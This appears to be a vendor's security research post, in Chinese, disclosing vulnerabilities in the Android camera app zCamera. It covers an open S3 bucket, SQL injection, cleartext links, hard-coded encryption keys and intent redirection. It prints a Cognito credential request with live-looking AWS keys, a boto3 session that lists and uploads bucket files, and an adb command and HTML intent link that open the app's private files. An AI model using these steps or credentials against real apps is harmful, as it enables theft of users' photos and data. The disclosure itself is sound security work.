我们的 AI 引擎 Neutron 在加州大学伯克利分校的 CyberGym 基准测试中取得了 96.75% 的成绩。 了解更多

安全

安全

zCamera:安装量超 100M 的应用,从远程入侵到数据泄露

本文是一篇技术深度剖析,展示了一款安装量超 100M 的图像应用如何可能暴露用户的图片,并存在从 SQL 注入、Intent 重定向到任意文件下载等一系列可被远程利用的漏洞。

本文是一篇技术深度剖析,展示了一款安装量超 100M 的图像应用如何可能暴露用户的图片,并存在从 SQL 注入、Intent 重定向到任意文件下载等一系列可被远程利用的漏洞。

2021 年,我们向 Google AppStore 团队报告了一组漏洞,这些漏洞影响了一款名为 zCamera 的热门相机应用。

该应用安装量超过 100M,存在多个严重问题,危及用户的安全与隐私。

我们曾尝试向应用开发者报告这些问题,但由于始终未能得到任何回复,便将问题报告给了 Google 安全团队。

我们最近得知,该应用已无法在商店中访问,并会显示一条错误消息,说明该应用无法下载,原因是应用不可访问或存在严重的安全问题。

因此,我们现在可以安全地分享这份报告,以普及关于移动应用中一些严重问题的认知与知识,以及它们如何能够在无需设备上存在恶意应用的情况下被远程利用。

存在漏洞的应用是 com.jb.zcamera,这是一款具备图像分享和存储功能的照片编辑应用。该应用安装量超过 100M,仅其 iOS 版本就有超过 30k 条评论。

已识别的漏洞如下:

漏洞 影响 攻击向量
不安全的 S3 存储桶 数据泄露(图片) 无需交互
SQL 注入、Intent 转发链,用于访问、写入或删除 SQLite 数据库 数据泄露(SQLite 数据库) 恶意链接
明文流量 数据泄露(图片) 流量篡改
使用硬编码密钥对敏感数据进行弱加密 加剧数据泄露漏洞的影响 不适用
Intent 重定向 授权绕过 恶意链接

不安全的 S3 存储桶导致的敏感数据泄露

该应用使用 AWS Cognito 对 AWS 的 3gcdn.tokyo 存储桶进行访问身份验证。Cognito 访问权限允许列出所有文件、访问用户图片以及上传任意文件。

该存储桶的权限允许所有用户对桶内所有文件进行列出、上传和读取。

以下是从应用反编译出的一段示例代码,展示了 Cognito 账户。

    private static CognitoCachingCredentialsProvider b(Context context) {
        if (d == null) {
            d = new CognitoCachingCredentialsProvider(context.getApplicationContext(), "ap-northeast-1:393fddbe-5b4c-4a8a-87db-adb7e0501ccb", Regions.AP_NORTHEAST_1);
        }
        return d;
    }

    private static AmazonS3Client c(Context context) {
        if (c == null) {
            ClientConfiguration clientConfiguration = new ClientConfiguration();
            clientConfiguration.c(3000000);
            clientConfiguration.b(3000000);
            clientConfiguration.a(3);
            clientConfiguration.a(Protocol.HTTPS);
            c = new AmazonS3Client(b(context.getApplicationContext()), clientConfiguration);
        }
        c.a(Region.a(Regions.AP_NORTHEAST_1));
        return c;
    }

AWS Cognito 提供了一种便捷的方式,可为移动应用和 Web 应用添加用户注册功能。在设置好 Cognito 账户后,可通过访问 https://cognito-identity.[zone].amazonaws.com/ 端点来获取凭据。

以下是拦截到的请求和响应,展示了生成的 access key、secret key 和 session key:

请求:

POST https://cognito-identity.us-east-1.amazonaws.com/ HTTP/1.1
Content-Type: application/x-amz-json-1.1
User-Agent: aws-sdk-android/2.11.1 Linux/3.4.0-gc9a1f89 Dalvik/2.1.0/0 en_US MobileHub/1.0
X-Amz-Target: AWSCognitoIdentityService.GetCredentialsForIdentity
aws-sdk-retry: 0/0
aws-sdk-invocation-id: aef50f87-e088-4133-986e-095a91e353b6
Content-Length: 75
Connection: Keep-Alive
Host: cognito-identity.us-east-1.amazonaws.com

{"IdentityId":"us-east-1:f86198c7-c5ac-499d-a3a8-f3f3d81dfd6b","Logins":{}}

响应:

HTTP/1.1 200 OK
Date: Wed, 31 Mar 2021 23:55:26 GMT
Content-Type: application/x-amz-json-1.1
Content-Length: 1772
Connection: keep-alive
x-amzn-RequestId: 3e58c2b6-bb84-47e8-8eed-586e47493199

{"Credentials":{"AccessKeyId":"ASIAWM5ZKESJXSGTW55U","Expiration":1.617238526E9,"SecretKey":"Dg3A8hXHt2mEiYPJgkXRoNXc4+nCZea1yy7HGgff","SessionToken":"IQoJb3JpZ2luX2VjEFAaCXVzLWVhc3QtMSJHMEUCIQD2a0IYHB89YmxvYb+FWPH3pgjgZwbxHTL5e5E/zCnYiQIgdsoN3cUrfavJSA58AYMnPp94YDAHC4FaIGZ7OlY/AXsqmgYImf//////////ARAAGgw0NDAwODU5MTQ3NzEiDHfLOwymijKmIqQ8HCruBROog1p/g5/c3hDdgpHkQWcOUv1PTlcfgVfRCKQF5bTHJXzQuhhSBIKBNWczvUvALWdzYOzgyoz2EW5yJJEP+Djz4oWPXDi1POIWiCWWRE0Obod2auS0vfF041OYsIFRF9TZT3V0waRsL6csV6t1JtM2KWu7L2lji8asEIanTuNaq4rUGOR4Iv529sxhd4JlgWac9M1XDlu2oiaVnZkee8/8ML5En8BgMTIU+BxolFtq5pjKSAawRlKaCvP/2XWNwoP1BcyRRowXYS+bhU6sMRPvc4wCiS8GXlzPYT2Rs0gChOk2xI43GUxJVtwxjx2k8UyAsDVjq9OHzsQK/Tmpi7y9c4H0ekFJuKE8+Hy5F3cS2V5qI5Ux5VrhZ3MY/+PrU2JUI17KbB+j0VqdxHuEcyPQnzj7k45NtZR4w53GZ4LxiGVJOTWQPMeYZ84p51fDsQiByQ1m+evfhpc3pkc7Peazl/33YJ8x+A/jLEcBxfGSPwYiGqv/DvJQ5occ0XT/dbdiUngtow0LEZmSH0Rjmlw/VhSl9+T7vJNU07NQVEWhtX2iKdqjZjg30uiRof8/450X6zwSDGyqcldJDGK6wTPbQ4x8xNSE0Y1W7C6EHzUBrc2N5WJpKu3rxNvxw4/bLbG+bR+IFvJGj96FIBjVvRvPw2Tg+XrR7KEndHZO1JFLYIh2S53i3kGJoQsooN0wucGixdX62ru+eRA0YcEc9xLYC8YuUw0t9SPfuQQzXV2KjGEwnV1sNebM/doXsOD40qXKrW01M1TeWQCvQZ97MIDYifXKRj7ZuulZHnjnPXQYVe8szs4lssjx/PWWJQw9EnxevWKnZK6neRTopqFD8dZYg566k8fBnk72Y65S5ydCx1P3KddbVi/hNs80G5LPV16jpMOeFCMrUrbBbHOwtz8tTnO78T6GcQTN6vF8Lcb21ExqlAgr/V61KDtS3z05LqIFdDugXihW5f6k/663IV7VWSnW5DQMk5t6fGRjqjDul5SDBjqHAuh+sQ22Te+LBgqRYqXhxrd5TfUAqS9QWaaZBOE6i8pOAN9RIXn6vcbObCOVVyt3wnNQ6Oi1URDQCn8DUn0MdFO6NQ2EJ4Y9H9yLm4foG3uJqAiiNPX78lIDa1qkvqaQBckNxhIYsSlrU5p2NdTl5k5woo8pWk2VAibgcq+JfqGrAZ6+tKR2Qy5aP96s49kOcRTqLrPcWjaDl9EWRIHSE20oWqFZgtzhUTKeuH/6dxQKI22MExMYSWJ3haIh4AaKVEpXbbtZ4oJ64w1ZWz5CU7zOnl4m2F8Bwh9hb6mP+95IUp0o9/kXcPjDe9YJ6kYFbDhU4oGCAjAHCxWsL6vJ5poJ/qNL3O15"},"IdentityId":"us-east-1:f86198c7-c5ac-499d-a3a8-f3f3d81dfd6b"}

随后,这些 access key 和 secret 可用于列出文件、读取文件,以及上传任意名称、任意内容的文件:

In [3]: client = boto3.client('s3', aws_access_key_id='ASIA434KFTPDWAXUDMIH', aws_secret_access_key='/zG9QSpBVeJGIWCg4tLGrJDcebFFscSoNvwMRNaO', aws_session_token='IQoJb3JpZ2luX2VjEE8aDmFwLW5vcnRoZWFzdC0xIkcwRQIhAJ
rgBgcgwfTTRKStiKqJm0V5lhCaOZGdv5FsTDnjJ1VdAiBPLLqsTPECBMvqlYgZtxQvdjkogHQ6e/sC7sEKx9vzYyqkBgiY//////////8BEAAaDDg4NDUxNjE2NjU5OSIM/3UJHbnWKR8tbGbCKvgFRxHRJ9I3p7eVLDUuFPLWv8ILMCn5Mg1wxDLnY/U1IfbkRRk3V6Evojk
 In [17]: client.upload_file('cross3x3.png', '3gcdn.tokyo', '/tmp/9A6C7-2021-03-09/headpic/crsog.pn')          
In [9]: client.list_objects(Bucket='3gcdn.tokyo')                                                                                                                                                                    
Out[9]: 
{'ResponseMetadata': {'RequestId': '2XAFCTTEPXFEP0WC',
  'HostId': 'eGU9yADLjFPKuAFj7UlpF7830Qh5Icl4Y2Vbf9NW6P4eYKvsVik6J9YPHiITzCMpZfBR3LpQ25w=',
  'HTTPStatusCode': 200,
  'HTTPHeaders': {'x-amz-id-2': 'eGU9yADLjFPKuAFj7UlpF7830Qh5Icl4Y2Vbf9NW6P4eYKvsVik6J9YPHiITzCMpZfBR3LpQ25w=',
   'x-amz-request-id': '2XAFCTTEPXFEP0WC',
   'date': 'Wed, 31 Mar 2021 22:50:25 GMT',
   'x-amz-bucket-region': 'ap-northeast-1',
   'content-type': 'application/xml',
   'transfer-encoding': 'chunked',
   'server': 'AmazonS3'},
  'RetryAttempts': 1},
 'IsTruncated': False,
 'Marker': '',
 'Contents': [{'Key': '00EC6-2021-03-17/headpic/m7VH0Pzd.jpg',
   'LastModified': datetime.datetime(2021, 3, 17, 3, 33, 13, tzinfo=tzutc()),
   'ETag': '"edc2823ca785a46e88731edf9507b0aa"',
   'Size': 137718,
   'StorageClass': 'STANDARD',
   'Owner': {'DisplayName': 'yang.jiguo.gz',
    'ID': '5b94b2d47950236e661022ff5b1fcf97415724b8883fdef3e10016e4fbe2b2e7'}},
  {'Key': '01A43-2021-03-12/headpic/IFiAeMeK.jpg',
   'LastModified': datetime.datetime(2021, 3, 12, 21, 5, 48, tzinfo=tzutc()),
   'ETag': '"58ca99af9262f0b82e6978e3c9972970"',
   'Size': 201745,
   'StorageClass': 'STANDARD',
   'Owner': {'DisplayName': 'yang.jiguo.gz',
    'ID': '5b94b2d47950236e661022ff5b1fcf97415724b8883fdef3e10016e4fbe2b2e7'}},
  {'Key': '01BA8-2021-03-05/headpic/7rSei
...

通过 SQL 注入导致的敏感数据泄露

该应用存在多处 SQL 注入,可通过不同方式被利用。

由于列出所有存在漏洞的代码将占用数十页篇幅,以下仅为一段源代码示例。该应用暴露了一个 content provider,它读取 Intent 消息,并使用字符串拼接来构造 SQL 查询。

   public android.database.Cursor query(android.net.Uri p9, String[] p10, String p11, String[] p12, String p13, android.os.CancellationSignal p14)
    {
        android.database.Cursor v9_5;
        android.database.sqlite.SQLiteDatabase v0 = this.b.b();
        switch (com.jb.zcamera.gallery.encrypt.EncryptMediaProvider.a.match(p9)) {
            case 1:
                v9_5 = v0.query(images, p10, p11, p12, 0, 0, p13);
                break;
            case 2:
                String v3_2 = android.content.ContentUris.parseId(p9);
                if (v3_2 == -1) {
                    v9_5 = 0;
                } else {
                    android.database.Cursor v9_8 = new StringBuilder();
                    v9_8.append(_id=);
                    v9_8.append(v3_2);
                    android.database.Cursor v9_9 = v9_8.toString();
                    if (p11 != null) {
                        StringBuilder v14_8 = new StringBuilder();
                        v14_8.append(p11);
                        v14_8.append(“ and “);
                        v14_8.append(v9_9);
                        v9_9 = v14_8.toString();
                    }
                    v9_5 = v0.query(images, p10, v9_9, p12, 0, 0, p13);
                }
                break;
            case 3:
                v9_5 = v0.query(videos, p10, p11, p12, 0, 0, p13);
                break;
            case 4:
                String v3_5 = android.content.ContentUris.parseId(p9);
                if (v3_5 == -1) {
                } else {
                    android.database.Cursor v9_3 = new StringBuilder();
                    v9_3.append(_id=);
                    v9_3.append(v3_5);
                    android.database.Cursor v9_4 = v9_3.toString();
                    if (p11 != null) {
                        StringBuilder v14_3 = new StringBuilder();
                        v14_3.append(p11);
                        v14_3.append(“ and “);
                        v14_3.append(v9_4);
                        v9_4 = v14_3.toString();
                    }
                    v9_5 = v0.query(videos, p10, v9_4, p12, 0, 0, p13);
                }
                break;
            default:
                String v11_4 = new StringBuilder();
                v11_4.append(Unknown Uri:);
                v11_4.append(p9);
                throw new IllegalArgumentException(v11_4.toString());
        }
        return v9_5;
    }

通过明文链接导致的数据泄露

该应用会从后端获取多个链接以访问不同的资源。其中最值得注意的是以 APK 文件形式打包的图像滤镜。

以下是展示所收集到的明文链接的请求和响应:

请求

GET https://lzt.goforandroid.com/launcherzthemestore/rest/store/resource/package?phead=eyJhcGlMZXZlbCI6IjE1IiwicHZlcnNpb24iOiIxIiwiYWlkIjoiMWRlZjBmN2E1YWE2YTUxYiIsImFkaWQiOiIxZGVmMGY3YTVhYTZhNTFiIiwidWlkIjoiMWRlZjBmN2E1YWE2YTUxYiIsImNpZCI6MTEsImN2ZXJzaW9uIjoiMjQxIiwiY2xpZW50VmVyc2lvbiI6IjI0MSIsImdvaWQiOiI0Mjk1YWY2MzAxOTUxMDBhY2QxOWNhOWI1NjgxNGM5MSIsImN2ZXJzaW9ubmFtZSI6IjQuNTQiLCJjaGFubmVsIjoiMTAxIiwibG9jYWwiOiJVUyIsImNvdW50cnkiOiJtYSIsImxhbmciOiJlbiIsInJlc29sdXRpb24iOiJVTktOT1dOIiwic2RrIjoyNSwic3lzIjoiNy4xLjIiLCJvcyI6IjcuMS4yIiwibW9kZWwiOiJOZXh1cyA1IiwicmVxdWVzdHRpbWUiOiIyMDIxLTAzLTMxIDIyOjQ1OjEzIiwiZW50cmFuY2VJZCI6MSwiaGFzbWFya2V0IjoxLCJnYWRpZCI6IjI2NDM2NzhjLWY2NDctNGU0My1hMTkxLWIzNDcyY2Q3MjM1YSIsImVtYWlsc3RhdHVzIjoxLCJuZXQiOiJXSUZJIiwib2ZmaWNpYWwiOjB9&sourceInfo=W3sicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIuYmVhcmRlcm1hbiIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIucmVkcm9zZSIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIubm9ibGUiLCJ0eXBlIjo5fSx7InBhY2thZ2VOYW1lIjoiY29tLmpiLnpjYW1lcmEuZXh0cmEuYXJzdGlja2VyLmNhdHNjbGF3cyIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIuZ2xhbW9yb3VzIiwidHlwZSI6OX0seyJwYWNrYWdlTmFtZSI6ImNvbS5qYi56Y2FtZXJhLmV4dHJhLmFyc3RpY2tlci5vbGQ1MCIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIub2xkNjAiLCJ0eXBlIjo5fSx7InBhY2thZ2VOYW1lIjoiY29tLmpiLnpjYW1lcmEuZXh0cmEuYXJzdGlja2VyLm9sZDcwIiwidHlwZSI6OX0seyJwYWNrYWdlTmFtZSI6ImNvbS5qYi56Y2FtZXJhLmV4dHJhLmFyc3RpY2tlci5vbGQ4MCIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIub2xkOTAiLCJ0eXBlIjo5fV0 HTTP/1.1
X-Signature: b48615ba7afc8b1661c9e4edcba5afe8
Connection: Keep-Alive
Host: lzt.goforandroid.com

响应

HTTP/1.1 200 OK
Date: Wed, 31 Mar 2021 21:45:16 GMT
Content-Type: application/json;charset=UTF-8
Content-Length: 3924
Connection: keep-alive
ETag: "fabbe7c0ec3239ab83afbad4a23552d4"
Strict-Transport-Security: max-age=15768000

{"data":[{"type":9,"data":{"mapid":502108234,"pkgname":"com.jb.zcamera.extra.arsticker.bearderman","name":"Bearded Man","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171024/QSn5wB8r.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/GtCFYHsC.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171024/y4xBLEy8.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102515/150891699498678795362.zip","chargetype":0,"downtype":1,"zipVersion":5,"haslock":0,"newlocktype":2,"paytype":-1,"zipdownurl":"","size":"1.1MB"}},{"type":9,"data":{"mapid":502108239,"pkgname":"com.jb.zcamera.extra.arsticker.redrose","name":"Red Rose","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171024/XqodiFim.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/x0xMHTGO.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171013/sejQghqb.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102516/150891970955293144727.zip","chargetype":0,"downtype":1,"zipVersion":5,"haslock":0,"newlocktype":1,"paytype":-1,"zipdownurl":"","size":"485.5KB"}},{"type":9,"data":{"mapid":502108240,"pkgname":"com.jb.zcamera.extra.arsticker.noble","name":"Noble","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171013/p7LgIBUL.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/2fCB9m4J.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171013/q1LeSyZp.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102516/150891979625032197505.zip","chargetype":0,"downtype":1,"zipVersion":2,"haslock":0,"newlocktype":1,"paytype":-1,"zipdownurl":"","size":"106.8KB"}},{"type":9,"data":{"mapid":502108236,"pkgname":"com.jb.zcamera.extra.arsticker.catsclaws","name":"Cat's Claws","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171024/9vEt0rzp.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/zcPyXmxu.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171024/y4xBLEy8.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102515/150891770104157456228.zip","chargetype":0,"downtype":1,"zipVersion":6,"haslock":0,"newlocktype":1,"paytype":-1,"zipdownurl":"","size":"238.6KB"}},{"type":9,"data":{"mapid":502108242,"pkgname":"com.jb.zcamera.extra.arsticker.glamorous","name":"Glamorous","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171024/0dSKQewo.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/RE3V9bZs.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171013/bflkJsG4.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102423/150885924029021919.zip","chargetype":0,"downtype":1,"zipVersion":10,"haslock":0,"newlocktype":2,"paytype":-1,"zipdownurl":"","size":"106.9KB"}},{"type":9,"data":null},{"type":9,"data":null},{"type":9,"data":null},{"type":9,"data":null},{"type":9,"data":null}],"errorResult":{"errorCode":"SUCCESS","errorMsg":"SUCCESS"}}

使用硬编码密钥的弱加密来存储私密图片

该应用实现了一项用密码保护图片的功能。其加密采用了 DES 弱加密方案,并使用硬编码密钥。 以下展示了应用中硬编码的 pref_forget_pwd_code:

public static String m5718w() {
        String string = m5663ac().getString("pref_forget_pwd_code", "");
        return !TextUtils.isEmpty(string) ? aie.m2211b(string, "zalzaq47jlogh34DFddxa3i95nm3297nsvm2q1CXN3xv2197bkJlweXN199mb094883ksjaN1cABX3l9vnz9PD3rz872vxawvfA") : string;
    }

以下展示了使用 DES 进行加密并生成密钥的过程。以当今的手段而言,DES 由于密钥空间较小,是可被暴力破解的。

    /* renamed from: b */
    public static byte[] m2212b(byte[] bArr, String str) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        try {
            SecretKey generateSecret = SecretKeyFactory.getInstance(DesUtil.DES_ALGORITHM).generateSecret(new DESKeySpec(str.getBytes()));
            Cipher instance = Cipher.getInstance(DesUtil.DES_ALGORITHM);
            instance.init(2, generateSecret);
            byte[] doFinal = instance.doFinal(bArr);
            byteArrayOutputStream.close();
            return doFinal;
        } catch (Exception e) {
            throw e;
        } catch (Throwable th) {
            byteArrayOutputStream.close();
            throw th;
        }
    }

以下是另一处与 AES 加密一同使用的硬编码密钥

public final class CryptPreferencesManager {
    private static final String CRYPT_KEY = "NaubrwWEGiJEQqRxx7aXntbGOf4YiRmW0WY9043rcqRhJreE4sReMC1OFRaeI7TXWBJUiJQGpwA1UdSsR65vvNieo70IUqvUnj1mn1mLUTKEMqeM9l5g90WJJo4gBN3n";
    private SharedPreferences.Editor mEditor;
    private SharedPreferences mPreferences;

通过在浏览器中点击链接导致的敏感数据泄露(图片、数据库、外部存储文件)

该应用中最重大的问题之一,是攻击者如何利用 Intent 重定向漏洞绕过对可访问且已授权的 activity 的限制。

主 activity 暴露了一项代理功能,只要设置了特定标志,便可在具有文件访问权限的 webview 中打开链接,或可使用任意附加参数启动 activity。

   public boolean a(Context context, Intent intent) {
        if (intent != null && intent.getBooleanExtra("extra_is_wecloud_enter", false)) {
            String stringExtra = intent.getStringExtra(WecloudNotificationKey.ACTION.getValue());
            String stringExtra2 = intent.getStringExtra(WecloudNotificationKey.PARAM.getValue());
            if (WecloudNotificationAction.hasValue(stringExtra)) {
                WecloudNotificationAction fromValue = WecloudNotificationAction.fromValue(stringExtra);
                if (fromValue == WecloudNotificationAction.URI) {
                    return b(context, stringExtra2);
                }
                if (fromValue == WecloudNotificationAction.GP) {
                    return c(context, stringExtra2);
                }
                if (fromValue == WecloudNotificationAction.FB) {
                    return d(context, stringExtra2);
                }
                if (fromValue == WecloudNotificationAction.ACTIVITY) {
                    return e(context, stringExtra2);
                }
            }
        }
        return false;
    }

根据 Intent 中的某些参数,会从 push_param 值构造出第二个 Intent。对第二个参数的解析实现了其自有的序列化格式,支持 string、bool、int 等基本类型。 以下是构造第 2 个 Intent 的代码。

   private boolean m6011b(Context context, String str) {
        if (TextUtils.isEmpty(str)) {
            return false;
        }
        try {
            String[] split = str.split("\\?\\#\\?\\#\\?");
            String str2 = split[0];
            if (TextUtils.isEmpty(str2)) {
                return false;
            }
            if (split.length < 2) {
                Intent intent = new Intent("android.intent.action.VIEW", Uri.parse(str));
                intent.addFlags(268435456);
                context.startActivity(intent);
                return true;
            }
            Intent intent2 = new Intent();
            mo12531a(intent2, split[1]);
            if (intent2.getBooleanExtra("extra_internal_webview", false)) {
                arl.m4058a(context, intent2, split[0], intent2.getBooleanExtra("extra_show_ad", false));
            } else {
                Intent intent3 = new Intent("android.intent.action.VIEW", Uri.parse(str2));
                intent3.addFlags(268435456);
                context.startActivity(intent3);
            }
            return true;
        } catch (Throwable th) {
            ars.m4113c("WecloudNotification", "", th);
            return true;
        }
    }
   private void a(Intent intent, String str, String str2) {
        int lastIndexOf = str2.lastIndexOf("@");
        if (lastIndexOf > 0 && lastIndexOf < str2.length() - 1) {
            String substring = str2.substring(lastIndexOf + 1);
            String substring2 = str2.substring(0, lastIndexOf);
            if ("B".equals(substring)) {
                intent.putExtra(str, Boolean.valueOf(substring2));
            } else if ("I".equals(substring)) {
                intent.putExtra(str, Integer.valueOf(substring2));
            } else if ("D".equals(substring)) {
                intent.putExtra(str, Double.valueOf(substring2));
            } else if ("F".equals(substring)) {
                intent.putExtra(str, Float.valueOf(substring2));
            } else if ("L".equals(substring)) {
                intent.putExtra(str, Long.valueOf(substring2));
            } else if ("S".equals(substring)) {
                intent.putExtra(str, substring2);
            }
        }
    }
}

要在目标 webview 上触发打开某个页面,可发送带有以下命令的 Intent:

adb shell am start -n com.jb.zcamera/com.jb.zcamera.camera.MainActivity --es push_action uri --es push_param 'file:///data/data/com.jb.zcamera/shared_prefs/CameraFacing.xml?#?#?\&extra_internal_webview=true@B' --ez extra_is_wecloud_enter true

由于暴露该代理功能的主 activity 是可浏览的(browsable),因此可以通过以下 HTML 示例代码从 Chrome 触发该 Intent。这是一个非常重要的因素,因为它意味着攻击者无需对设备拥有恶意访问权限即可触发此漏洞。

<html>
<a href="intent://camera.gomo.com/#Intent;scheme=http;package=com.jb.zcamera;S.push_action=uri;S.push_param=file:///data/data/com.jb.zcamera/shared_prefs/CameraFacing.xml%3f%23%3f%23%3f%26extra_internal_webview%3dtrue%40B;B.extra_is_wecloud_enter=true;end">Click Me!</a>
</html>

该 webview 具有本地文件访问权限,但没有从 URL 打开文件的权限,而且目标 SDK 将 File URL 访问设置为 false。

InvolveMediaDetailActvity 这一 activity 可触发下载,其链接指向 "http://goappdl.goforandroid.com/"。

该 activity 接受一个从 S3 存储桶获取的视频 URL:

    public void getDataFromIntent() {
        Intent intent = getIntent();
        this.a = intent.getStringExtra(VIDEO_URL);
        this.b = intent.getStringExtra(IMG_URL);
        this.c = intent.getIntExtra(FILE_TYPE, -1);
    }

该 URL 的主机名必须为 http://goappdl.goforandroid.com/, 然而主机名会被截断,仅使用路径部分来下载文件。 所存储文件的名称取自该路径:

   public static String m1204e(String str) {
        try {
            if (!TextUtils.isEmpty(str)) {
                if (str.startsWith("http://goappdl.goforandroid.com/")) {
                    return str.substring("http://goappdl.goforandroid.com/".length(), str.length());
                }
            }
            return "";
        } catch (Exception e) {
            e.printStackTrace();
            return "";
        }
    }

由于对 S3 g3cdn.tokyo 的访问使用的是 AWS Cognito,因此可以通过发送 Cognito Identity 来收集 access key。

请求:

POST https://cognito-identity.us-east-1.amazonaws.com/ HTTP/1.1
Content-Type: application/x-amz-json-1.1
User-Agent: aws-sdk-android/2.11.1 Linux/3.4.0-gc9a1f89 Dalvik/2.1.0/0 en_US MobileHub/1.0
X-Amz-Target: AWSCognitoIdentityService.GetCredentialsForIdentity
aws-sdk-retry: 0/0
aws-sdk-invocation-id: aef50f87-e088-4133-986e-095a91e353b6
Content-Length: 75
Connection: Keep-Alive
Host: cognito-identity.us-east-1.amazonaws.com

{"IdentityId":"us-east-1:f86198c7-c5ac-499d-a3a8-f3f3d81dfd6b","Logins":{}}

响应:

HTTP/1.1 200 OK
Date: Wed, 31 Mar 2021 23:55:26 GMT
Content-Type: application/x-amz-json-1.1
Content-Length: 1772
Connection: keep-alive
x-amzn-RequestId: 3e58c2b6-bb84-47e8-8eed-586e47493199

{"Credentials":{"AccessKeyId":"ASIAWM5ZKESJXSGTW55U","Expiration":1.617238526E9,"SecretKey":"Dg3A8hXHt2mEiYPJgkXRoNXc4+nCZea1yy7HGgff","SessionToken":"IQoJb3JpZ2luX2VjEFAaCXVzLWVhc3QtMSJHMEUCIQD2a0IYHB89YmxvYb+FWPH3pgjgZwbxHTL5e5E/zCnYiQIgdsoN3cUrfavJSA58AYMnPp94YDAHC4FaIGZ7OlY/AXsqmgYImf//////////ARAAGgw0NDAwODU5MTQ3NzEiDHfLOwymijKmIqQ8HCruBROog1p/g5/c3hDdgpHkQWcOUv1PTlcfgVfRCKQF5bTHJXzQuhhSBIKBNWczvUvALWdzYOzgyoz2EW5yJJEP+Djz4oWPXDi1POIWiCWWRE0Obod2auS0vfF041OYsIFRF9TZT3V0waRsL6csV6t1JtM2KWu7L2lji8asEIanTuNaq4rUGOR4Iv529sxhd4JlgWac9M1XDlu2oiaVnZkee8/8ML5En8BgMTIU+BxolFtq5pjKSAawRlKaCvP/2XWNwoP1BcyRRowXYS+bhU6sMRPvc4wCiS8GXlzPYT2Rs0gChOk2xI43GUxJVtwxjx2k8UyAsDVjq9OHzsQK/Tmpi7y9c4H0ekFJuKE8+Hy5F3cS2V5qI5Ux5VrhZ3MY/+PrU2JUI17KbB+j0VqdxHuEcyPQnzj7k45NtZR4w53GZ4LxiGVJOTWQPMeYZ84p51fDsQiByQ1m+evfhpc3pkc7Peazl/33YJ8x+A/jLEcBxfGSPwYiGqv/DvJQ5occ0XT/dbdiUngtow0LEZmSH0Rjmlw/VhSl9+T7vJNU07NQVEWhtX2iKdqjZjg30uiRof8/450X6zwSDGyqcldJDGK6wTPbQ4x8xNSE0Y1W7C6EHzUBrc2N5WJpKu3rxNvxw4/bLbG+bR+IFvJGj96FIBjVvRvPw2Tg+XrR7KEndHZO1JFLYIh2S53i3kGJoQsooN0wucGixdX62ru+eRA0YcEc9xLYC8YuUw0t9SPfuQQzXV2KjGEwnV1sNebM/doXsOD40qXKrW01M1TeWQCvQZ97MIDYifXKRj7ZuulZHnjnPXQYVe8szs4lssjx/PWWJQw9EnxevWKnZK6neRTopqFD8dZYg566k8fBnk72Y65S5ydCx1P3KddbVi/hNs80G5LPV16jpMOeFCMrUrbBbHOwtz8tTnO78T6GcQTN6vF8Lcb21ExqlAgr/V61KDtS3z05LqIFdDugXihW5f6k/663IV7VWSnW5DQMk5t6fGRjqjDul5SDBjqHAuh+sQ22Te+LBgqRYqXhxrd5TfUAqS9QWaaZBOE6i8pOAN9RIXn6vcbObCOVVyt3wnNQ6Oi1URDQCn8DUn0MdFO6NQ2EJ4Y9H9yLm4foG3uJqAiiNPX78lIDa1qkvqaQBckNxhIYsSlrU5p2NdTl5k5woo8pWk2VAibgcq+JfqGrAZ6+tKR2Qy5aP96s49kOcRTqLrPcWjaDl9EWRIHSE20oWqFZgtzhUTKeuH/6dxQKI22MExMYSWJ3haIh4AaKVEpXbbtZ4oJ64w1ZWz5CU7zOnl4m2F8Bwh9hb6mP+95IUp0o9/kXcPjDe9YJ6kYFbDhU4oGCAjAHCxWsL6vJ5poJ/qNL3O15"},"IdentityId":"us-east-1:f86198c7-c5ac-499d-a3a8-f3f3d81dfd6b"}

